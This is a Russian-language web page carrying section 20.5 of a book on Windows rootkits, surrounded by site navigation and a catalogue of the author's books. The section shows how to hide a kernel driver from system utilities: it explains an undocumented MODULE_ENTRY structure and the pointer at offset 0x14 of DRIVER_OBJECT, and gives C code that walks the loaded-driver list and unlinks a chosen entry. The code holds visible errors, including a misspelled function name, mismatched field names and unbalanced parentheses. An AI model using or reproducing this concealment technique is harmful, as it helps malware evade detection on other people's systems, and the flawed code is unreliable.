Есть вопрос?
Зайди на форум

Поиск:

Denix: русификация Ubuntu и кодеки :: RSS:: Скачать книги Колисниченко в PDF

Англо-русский словарь компьютерных терминов (Д. Колисниченко)

A  B  C  D  E  F  G  H  I  K  L  M  N  O  P  Q  R  S  T  V  W  X  Y  Z 

укрпочта отслеживание посылок перевод денег график отключения света в Кировограде график отключения счета в Киеве график отключения света в Одессе (zip)

Книга Д. Колисниченко Rootkits под Windows. Теория и практика программирования “шапок-невидимок“, позволяющих скрывать от системы данные, процессы, сетевые соединения.

20.5. Сокрытие драйверов устройств

Сокрытие драйверов устройств также важно для руткита, как и сокрытие процессов. Ведь обычно руткит выполнен в виде драйвера устройства, поэтому ему нужно скрыть, прежде всего, самого себя.

В Windows существует несколько утилит, выводящих список драйверов - это диспетчер устройств Windows, утилита drivers.exe (входит в состав Microsoft Resource Kit), а также ряд подобных утилит. Все они используют функцию ZqQUerySystemInformation. Этой функции они передают класс информации SYSTEM_INFORMATION_CLASS = 11. Функция возвращает список загруженных модулей ядра (драйверов). Если вы внимательно читали предыдущие главы, то, наверное, помните, как мы перехватывали эту функцию. Правда, тогда нас интересовал класс информации 5, в ответ на который функция выводила список процессов.

Сейчас мы поговорим о том, как можно модифицировать список драйверов. Подобно списку процессов, список драйверов тоже выполнен в форме двухсвязного списка.

Для описания драйверов в памяти ядра используется структура MODULE_ENTRY (подобна EPROCESS). Может, вам будет интересно знать, но эта структура нигде не документирована:

typedef struct _MODULE_ENTRY {

  LIST_ENTRY module_list_entry;

  DWORD unknown1[14];

  DWORD base;

  DWORD driver_start;

  DWORD unknown2;

  UNICODE_STRING driver_Path;

  UNICODE_STRING driver_Name;

  //...

} MODULE_ENTRY, *PMODULE_ENTRY;

Первое, что нам нужно сделать - это найти память, в которой находится список драйверов. А это сделать не так уж и просто. В случае с процессами нам было достаточно вызвать функцию PsGetCurrentProcess, чтобы найти текущий блок EPROCESS, ну а дальше - дело техники. В случае со списком драйверов ситуация несколько иная.

Помните курс математики: сначала мы изучали десять способов решения той или иной задачи, а потом говорилось, что данная задача вообще частный случай и у нее один и тот же результат - константа, которую нужно запомнить. Я уберегу вас от чтения нескольких страниц теории, а сразу скажу, где нужно искать указатель на MODULE_ENTRY текущего драйвера.

На MODULE_ENTRY указывает одно недокументированное поле структуры DRIVER_OBJECT. Оно находится по смещению 0x14 от начала DRIVER_OBJECT. Когда мы знаем, это "добраться" до списка драйверов не составляет труда. У нас есть объект драйвера, который указывает на список драйверов, точнее на MODULE_ENTRY нашего драйвера. Напишем функцию, которая возвращает адрес MODULE_ENTRY текущего драйвера:

DWORD GetCurModuleEntry (IN PDRIVER_OBJECT Driver)

{

 PMODULE_ENTRY current;

 if (Driver == NULL) return 0;

 

 current = *((PMODULE_ENTRY*)((DWORD)Driver + 0x14));

 

if (current == NULL) return 0;

LoadedModuleList = current; // глобальная переменная (PMODULE_ENTRY),

                             // которую мы будем использовать в

// других функциях

return current;

}

Структура DRIVER_OBJECT содержит уже известную нам структуру LIST_ENTRY, с помощью которой мы можем передвигаться по списку.

Рис. 20.5. Список драйверов

Как только у нас будет один элемент списка, мы можем "пробежаться" по списку, чтобы найти нужный нам элемент. Как только он будет найден, мы можем его скрыть - так же, как мы делали это с процессами:

PMODULE_ENTRY current;             // текущая MODULE_ENTRY

UNICODE_STRING driver_name_hide;   // имя драйвера, который нужно скрыть

current = LoadedModuleList;

while ((PMODULE_ENTRY)current->le.mod.Flink!=LoadedModuleList)

{

  if ((current->unk1 !=0x00000000) && (current->driver_Path.Length != 0)

   { // сравниваем имя нужного нам драйвера с именем каждого драйвера

     if RtlCompareUnicodeString(&driver_name_hide,&(current)->driver_Name),

        FALSE) == 0)

         {

            *((PWORD)current->le_mod.Blink)=(DWORD)current->le_mod.Flink;

            current->le_mod.Flink->Blink = current->le_mod.Blink;

            break;

          }

      }

 }

Помните, при модификации списка процессов мы модифицировали также и блок EPROCESS процесса, который нужно было скрыть? В случае со списком драйверов в этом нет необходимости, потому что драйверы обычно загружаются и выгружаются не так часто, как процессы. Обычно драйверы загружаются при загрузке системы и выгружаются при завершении работы с системой. В процессе работы система редко выгружает драйверы.

Вышеприведенный код будет работать на пассивном уровне (PASSIVE_LEVEL), этого требуют функции для работы с UNICODE-строками.

На главную

Мне нравится!

Сегодня: 19/01

Поздравлять сегодня некого

Последние посты форума

Интересная картинка

Samsung Galaxy J2 Prime (SM-G532F)

дааа

Обучение PHP-программированию

Новый дизайн сайта

Возвращение на динамическую страницу сайта

С Новым Годом!

Бесплатный хостинг, SSL сертификат, не ограниченно

капец погода в ноябре у нас

Посоветуйте хостинг

флэшмобы

вот люди где живут... экстрим

авто-дилеры

Программы для Linux

книга Командная строка Linux и автоматизация рутинных задач

Совет:

Книги Д. Колисниченко:

Linux

Fedora 8. Руководство пользователяFedora 8. Руководство пользователя
Эта книга поможет быстро освоить новую версию дистрибутива Linux Fedora 8. В ней рассказывается, как установить Fedora 8 и выполнить базовую настройку системы после установки, организовать подключение к Интернету...                                                                                      

Самоучитель Linux: установка, настройка, использование изд. 1-4Самоучитель Linux: установка, настройка, использование изд. 1-4
В книге рассматриваются дистрибутивы Mandriva и Fedora Core. Книга предназначена для всех, кто хочет эффективно использовать у себя на компьютере эту ОС                                                                                                                                                     

GIMP 2. Бесплатный аналог Photoshop для Windows/Linux/Mac OSGIMP 2. Бесплатный аналог Photoshop для Windows/Linux/Mac OS
Рассматривается работа с бесплатным и свободно распространяемым популярным графическим редактором GIMP.                                                                                                                                                                                                      

PHP

Самоучитель PHP 4/5Самоучитель PHP 4/5
Моя первая книга по PHP, на базе которой была написана книга Самоучитель PHP5 (НиТ). Давно распродана и не поддерживается                                                                                                                                                                                    

Современный сайт на РНР и JavaScript (+CD)Современный сайт на РНР и JavaScript (+CD)
Эта книга о PHP и не только. С помощью PHP вы легко создадите сайт любого масштаба — от небольшой личной странички до сайта уровня предприятия со сложной панелью управления.                                                                                                                                

PHP 5/6 и MySQL 6. Разработка Web-приложений. 3-е издPHP 5/6 и MySQL 6. Разработка Web-приложений. 3-е изд
Даны начала программирования на PHP: установка и настройка PHP и MySQL, выбор редактора PHP-кода, основы синтаксиса и самые полезные функции PHP.                                                                                                                                                            

Интернет/CMS

IRC, IRC-каналы, IRC-боты: как пользоваться и как сделать самому. Избранные технологии ИнтернетаIRC, IRC-каналы, IRC-боты: как пользоваться и как сделать самому. Избранные технологии Интернета
Эта книга целиком посвящена IRC – технологии, позволяющей создавать каналы многопользовательского общения                                                                                                                                                                                                    

Новейший самоучитель компьютера и ИнтернетНовейший самоучитель компьютера и Интернет
О такой книге долгие годы мечтали миллионы начинающих пользователей, которые осваивали технику самостоятельно или по непонятным, громоздким руководствам.                                                                                                                                                    

Joomla 1.5. Руководство пользователяJoomla 1.5. Руководство пользователя
Эта книга - простое и эффективное учебное пособие по освоению и использованию системы управления контентом веб-сайта Joomla 1.5.                                                                                                                                                                             

Компьютер/Windows

Компьютер На Флешке. Работающие Windows, Linux, офис и 150 самых полезных программКомпьютер На Флешке. Работающие Windows, Linux, офис и 150 самых полезных программ
В этой книге вы найдете уникальную полезную информацию о том, как установить на флешку Windows XP и Windows Vista...                                                                                                                                                                                         

Секреты, настройка и оптимизация реестра Windows 7Секреты, настройка и оптимизация реестра Windows 7
Рассмотрено устройство, настройка и оптимизация реестра, секреты и трюки при работе с ним, параметры популярных Windows-приложений. Описаны программы для мониторинга...                                                                                                                                     

Windows 8. Настройка, работа, администрированиеWindows 8. Настройка, работа, администрирование
Книга предназначена всем пользователям, желающим начать работу с новой версией операционной системы компании Microsoft - Windows 8. Подробно описаны особенности установки, настройки и восстановления системы, а также методы повышения ее производительн                                                   

Сети

Самоучитель системного администратора. 4-е изд.Самоучитель системного администратора. 4-е изд.
Изложены основные задачи системного администрирования, описаны базовые протоколы, даны рекомендации по выбору оборудования и проведению ежедневных рутинных операций. Подробно раскрыты технологии, используемые при построении информационных систем, опи                                                   

Сделай сам компьютерную сеть. Монтаж, настройка, обслуживание. Изд. 2.Сделай сам компьютерную сеть. Монтаж, настройка, обслуживание. Изд. 2.
Книга о настройке сети в Windows (98,NT,XP) и Linux. Является превосходным практическим руководством по созданию и обслуживанию компьютерных сетей.                                                                                                                                                          

Беспроводная сеть дома и в офисеБеспроводная сеть дома и в офисе
Книга поможет начинающему администратору домашней или офисной сети в кратчайшие сроки развернуть, настроить или модернизировать беспроводную сеть. Отличный выбор для построения сети SOHO                                                                                                                   

Безопасность

Rootkits под Windows. Теория и практика программирования “шапок-невидимок“, позволяющих скрывать от системы данные, процессы, сетевые соединения.Rootkits под Windows. Теория и практика программирования “шапок-невидимок“, позволяющих скрывать от системы данные, процессы, сетевые соединения.
-                                                                                                                                                                                                                                                                                                            

Анонимность и безопасность в Интернете. От Анонимность и безопасность в Интернете. От "чайника" к пользователю
Простым и понятным языком рассказано, как скрыть свое местонахождение и IP-адрес, используя анонимные сети Tor и I2P, посетить заблокированные администратором сайты, защитить личную переписку от посторонних глаз                                                                                          

Автомобили

150 ситуаций на дороге, которые должен уметь решать каждый водила150 ситуаций на дороге, которые должен уметь решать каждый водила
Опытный инструктор кратко и четко расскажет, что следует делать водителю в 150 самых различных ситуациях на дороге, которые могут опустошить ваш кошелек, испортить нервы или здоровье                                                                                                                       

Популярный самоучитель безопасного вожденияПопулярный самоучитель безопасного вождения
Ценность этой книги в том, что впервые советы вам будет давать проверенный профи: президент клуба BMW! Как быстро и правильно научиться водить машину, парковаться, разгоняться, тормозить.                                                                                                                  

Новичок за рулем 2. Выбор автомобиля, дальняя поездка...Новичок за рулем 2. Выбор автомобиля, дальняя поездка...
Книга вторая. Желательно прочтение первой книги. Рекомендуется всем начинающим (и не только) водителям/ . Текст этой книги бесплатно доступен в моем блоге http://dkws.net                                                                                                                                   

Переводные книги

Переводные книгиПереводные книги
Данные книги были переведены мною на русский язык (с английского и чешского). Надеюсь качество перевода вам понравится!                                                                                                                                                                                      

Android

Безопасный Android: защищаем свои деньги и данные от кражиБезопасный Android: защищаем свои деньги и данные от кражи
Рассмотрены различные способы обеспечения безопасности Android-устройств: шифрование персональной информации, хранящейся на устройстве, шифрование передаваемых данных, VPN-соединения, анонимизация трафика                                                                                             

Планшет и смартфон на базе Android для ваших родителей, 2-е изд.Планшет и смартфон на базе Android для ваших родителей, 2-е изд.
Книга знакомит читателя с мобильными устройствами на базе Android. Она написана простым и понятным языком для людей среднего и старшего возраста                                                                                                                                                             

Планшет и смартфон на базе Android для ваших родителейПланшет и смартфон на базе Android для ваших родителей
Книга рассчитана на людей среднего и старшего возраста. Она поможет освоить современный «карманный компьютер» на базе Android, в котором все новое и "не так, как в Windows". Доступным языком описывается, как включить и выключить смартфон и т.д.                                                         

Статьи

Rambler's Top100